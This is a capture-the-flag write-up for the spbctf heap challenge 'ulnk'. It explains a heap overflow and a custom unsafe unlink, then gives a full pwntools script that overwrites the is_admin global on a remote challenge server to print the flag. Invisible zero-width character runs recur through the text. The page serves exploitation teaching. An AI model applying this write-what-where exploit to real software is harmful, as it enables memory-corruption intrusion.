← Back to Writeups
CUSTOMEasypwn

ulnk

XESXOR9/2/20266 min read
#pwn#custom#easy#global_flag_overwrite#heap_overflow#off_by_pointer_overwrite#unsafe_unlink#write_what_where

ulnk

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-07-05 | Status: Solved Techniques: global_flag_overwrite, heap_overflow, off_by_pointer_overwrite, unsafe_unlink, write_what_where

Summary

Task: menu-driven pwn with a custom circular doubly-linked list that implements its own unsafe unlink (no glibc free) plus a heap overflow in edit. Solution: overflow node A's data into node B's fd/bk pointers, then delete B so the classic unlink write-what-where sets the global is_admin flag, unlocking system("cat flag.txt").

ulnk — spbctf

Description

easy custom unlink

nc 109.233.56.90 11807 Binary: mc3.elf (https://pwn.spbctf.ru/files/advhp/mc3/mc3.elf)

A menu-driven x86-64 heap challenge. The program maintains a custom circular doubly-linked list of fixed-size nodes and implements its own node deletion by manually unlinking nodes — glibc free() is never called. The deletion code is a textbook unsafe unlink (*(p->fd+8)=p->bk; *(p->bk)=p->fd), and a separate heap overflow in the edit routine lets us plant attacker-controlled fd/bk pointers. The goal is to flip a global is_admin flag that gates a system("cat flag.txt") call. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Note on the flag format: the task text hinted at CODEBY{...}, but the real remote flag is wrapped in spbctf{...}. Do not trust a hinted wrapper — always read what the service actually prints.

Recon

checksec on mc3.elf:

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)     <-- static globals at fixed 0x4040xx
Stripped:   No                    <-- symbols: allocate/edit/delete/logic/read_n

Toolchain: Ubuntu 9.3.0 / glibc 2.31 (Ubuntu 20.04). No PIE is the key enabler — the writable globals live at fixed addresses: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • is_admin — int at 0x4040ac
  • HEAD — list head pointer at 0x4040b0

Node layout

Each node is a single malloc(0x50) chunk (0x60 including header) with:

offsetfieldmeaning
+0x00fdnext pointer
+0x08bkprev pointer
+0x10datauser data (0x40 max)

Menu (logic, choice read via scanf("%d"))

  • 1 — allocate: malloc(0x50); set fd=bk=self; read_n(node+0x10, 0x40); if HEAD != 0 splice into the head of the circular list; HEAD = node. So the newest node is HEAD (index 0). The first-allocated node sits at the lower heap address; later allocations are at higher addresses.
  • 2 — print: if (is_admin != 0) system("cat flag.txt"); ← the win path.
  • 3 — edit: prompts Enter index: (0..0x63), walks p = HEAD then p = p->fd index times, and calls read_n(p+0x10, 0x80). BUG: it reads up to 0x80 bytes into a chunk whose usable size is only 0x50 → heap overflow into the next physical chunk's fd/bk.
  • 4 — delete: prompts Enter index:, walks to node index, then performs the unsafe unlink (see below). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

read_n(dst, n) behaviour

Reads byte-by-byte with read(0, .., 1); stops when n bytes are read OR a newline (0x0a) is seen OR read returns <= 0, writing a NUL terminator on newline/EOF. Consequence: a payload shorter than n must be newline-terminated, otherwise the program blocks waiting for the rest. Pointer bytes must therefore avoid 0x0a (our targets 0x4040a4 / 0x4040b0 are clean).

The unsafe unlink

Disassembly of delete at 0x4014d0 (with p = [rbp-0x10]): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

asm
4014d0  mov rax, [p]        ; rax = p->fd
4014d4  mov rax, [rax]      ;   (loads p->fd)
4014d7  mov rdx, [p]
4014db  mov rdx, [rdx+0x8]  ; rdx = p->bk
4014df  mov [rax+0x8], rdx  ; *(p->fd + 8) = p->bk      <-- write #1
4014e3  mov rax, [p]
4014e7  mov rax, [rax+0x8]  ; rax = p->bk
4014eb  mov rdx, [p]
4014ef  mov rdx, [rdx]      ; rdx = p->fd
4014f2  mov [rax], rdx      ; *(p->bk) = p->fd          <-- write #2

In C:

c
*(p->fd + 8) = p->bk;   // write #1
*(p->bk)     = p->fd;   // write #2

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

If we control a node's fd and bk, this is a write-what-where:

  • write #1 stores the value bk at address fd + 8;
  • write #2 stores the value fd at address bk (so bk must be writable).

Write-what-where reasoning

We want is_admin (at 0x4040ac) to become nonzero. Point write #1 at it:

fd + 8 == &is_admin  ->  fd = 0x4040ac - 8 = 0x4040a4

Then write #1 does *(0x4040a4 + 8) = *(0x4040ac) = is_admin = bk. So the value written into is_admin is exactly bk. We need bk both nonzero and a writable address (write #2 dereferences it). &HEAD = 0x4040b0 satisfies both: it is writable, and 0x4040b0 is a nonzero value, so is_admin becomes 0x4040b0 != 0. Write #2 then does *(0x4040b0) = *HEAD = fd = 0x4040a4, a harmless overwrite of the (about-to-be-abandoned) HEAD global. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

fd = 0x4040a4   (&is_admin - 8)
bk = 0x4040b0   (&HEAD, writable and nonzero)

Heap-overflow offset derivation

We plant those pointers into a node's fd/bk via the edit overflow. Allocate two nodes:

  1. A — first alloc, lower heap address, ends up at index 1.
  2. B — second alloc, higher address, becomes HEAD (index 0), with B->fd = A.

Chunk B sits immediately after chunk A in memory: B_chunk = A_chunk + 0x60 (0x50 request → 0x60 total chunk). A's data begins at A_chunk + 0x10, so from A's data buffer: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

offset to B->fd = (A_chunk + 0x60) - (A_chunk + 0x10) = 0x50
offset to B->bk = 0x58

Editing index 1 (node A) with the 0x80-byte overflow lets us write past A's 0x40 data into B's header. Payload:

b'A'*0x50 + p64(0x4040a4) + p64(0x4040b0) + b'\n'
             ^ B->fd         ^ B->bk

The trailing \n is mandatory: the payload is 0x60 bytes < 0x80 count, so read_n needs the newline to stop.

Exploit chain

  1. allocate(A) — lower address (index 1).
  2. allocate(B) — higher address, becomes HEAD (index 0), B->fd = A.
  3. edit(index=1, ...) — overflow A into B, setting B->fd = 0x4040a4, B->bk = 0x4040b0.
  4. delete(index=0) — unlink B fires the write-what-where: *(B->fd+8) = is_admin = 0x4040b0 (nonzero ⇒ admin unlocked); *(B->bk) = HEAD = 0x4040a4 (harmless).
  5. menu(2) — is_admin != 0 ⇒ system("cat flag.txt") prints the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full solve script

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
HOST, PORT = '109.233.56.90', 11807

is_admin = 0x4040ac    # int global gating system("cat flag.txt")
HEAD     = 0x4040b0    # list head pointer (writable, nonzero)

def menu(io, choice):
    # menu is reprinted each loop and ends with the line "4 - delete"
    io.sendlineafter(b'4 - delete', str(choice).encode())

def allocate(io, data):
    menu(io, 1)
    io.recvuntil(b'Enter data:')
    io.send(data)                       # read_n stops on newline; send exact
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def edit(io, index, data):
    menu(io, 3)
    io.recvuntil(b'Enter index:'); io.sendline(str(index).encode())
    io.recvuntil(b'Enter data:');  io.send(data)

def delete(io, index):
    menu(io, 4)
    io.recvuntil(b'Enter index:'); io.sendline(str(index).encode())

io = remote(HOST, PORT)

allocate(io, b'A'*0x40)                 # node A -> index 1 (lower address)
allocate(io, b'B'*0x40)                 # node B -> HEAD/index 0, B->fd = A

# Overflow A's data (0x50) into B's header: B->fd, B->bk
payload = b'A'*0x50 + p64(is_admin - 8) + p64(HEAD)
assert b'\n' not in payload
edit(io, 1, payload + b'\n')            # trailing '\n' terminates read_n
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

delete(io, 0)                           # unsafe unlink -> is_admin = 0x4040b0

menu(io, 2)                             # system("cat flag.txt")
data = io.recvall(timeout=5)
m = re.search(rb'(spbctf|CODEBY)\{[^}]*\}', data)
if m:
    log.success('FLAG: ' + m.group(0).decode())
print(data.decode(errors='replace'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍